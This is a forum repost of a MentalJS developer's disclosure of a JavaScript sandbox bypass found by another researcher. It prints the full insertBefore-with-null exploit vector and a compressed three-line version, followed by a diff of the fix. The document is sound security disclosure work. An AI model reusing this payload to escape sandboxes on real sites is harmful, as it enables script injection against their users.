Jump to content

Recommended Posts

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-

_=document

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'

t=_.createElement('b')
t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)
_.body.appendChild(x)

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent

x.insertBefore(s.firstChild, null)
_.body.appendChild(x)

It can actually be compressed to the following:

s=document.createElement('script');
s.insertBefore(document.createTextNode('alert(location)'),null);
document.body.appendChild(s);

The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.

@@ -5621,7 +5621,7 @@
}
};

- exports.version = "0.1.15";
+ exports.version = "0.1.16";
exports.parse = function(){
var js = MentalJS();
};
@@ -5873,9 +5873,7 @@
if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT') {
while(this.firstChild) {
this.removeChild(this.firstChild);
- }
- }
- if(this.tagName && this.tagName.toUpperCase() === 'SCRIPT') {
+ }
js = MentalJS();
code = document.createTextNode(js.parse({options:{eval:false},code:node.textContent}));
script = document.createElement('script');
@@ -5895,7 +5893,18 @@
'lastChild$': {configurable:true, get:function(){return this.lastChild;}},
'nextSibling$': {configurable:true, get:function(){return this.nextSibling;}},
'parentNode$': {configurable:true, get:function(){return this.parentNode;}},
- 'insertBefore$': {configurable:true, writable:false, value:function(){return this.insertBefore.apply(this, arguments);}},
+ 'insertBefore$': {configurable:true, writable:false, value:function(newElement, referenceElement){
+ var js, script;
+ if(this.tagName && this.tagName.toUpperCase() == 'SCRIPT' && referenceElement === null) {
+ while(this.firstChild) {
+ this.removeChild(this.firstChild);
+ }
+ js = MentalJS();
+ code = document.createTextNode(js.parse({options:{eval:false},code:newElement.textContent}));
+ return this.insertBefore(code, null);
+ }
+ return this.insertBefore.apply(this, arguments);}
+ },
'cloneNode$': {configurable:true, writable:false, value:function(){return this.cloneNode.apply(this, arguments);}},
'removeChild$': {configurable:true, writable:false, value:function(){return this.removeChild.apply(this, arguments);}},
'removeAttribute$': {configurable:true, writable:false, value:function(name){ this.removeAttribute(name); }},
@@ -6175,7 +6184,8 @@
Object.defineProperties(HTMLStyleElement.prototype, {
'innerText$': {configurable:true, get:function(){return this.innerText;},set:function(innerText){ this.innerText = innerText; }},
'textContent$': {configurable:true, get:function(){return this.textContent;},set:function(textContent){this.textContent=textConent;}},
- 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }}
+ 'text$': {configurable:true, get:function(){return this.text;},set:function(text){ this.text=text; }},
+ 'innerHTML$': {configurable:true, get:function(){return this.innerHTML;},set:function(){ }}
});

Object.defineProperties(document, {

Source

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...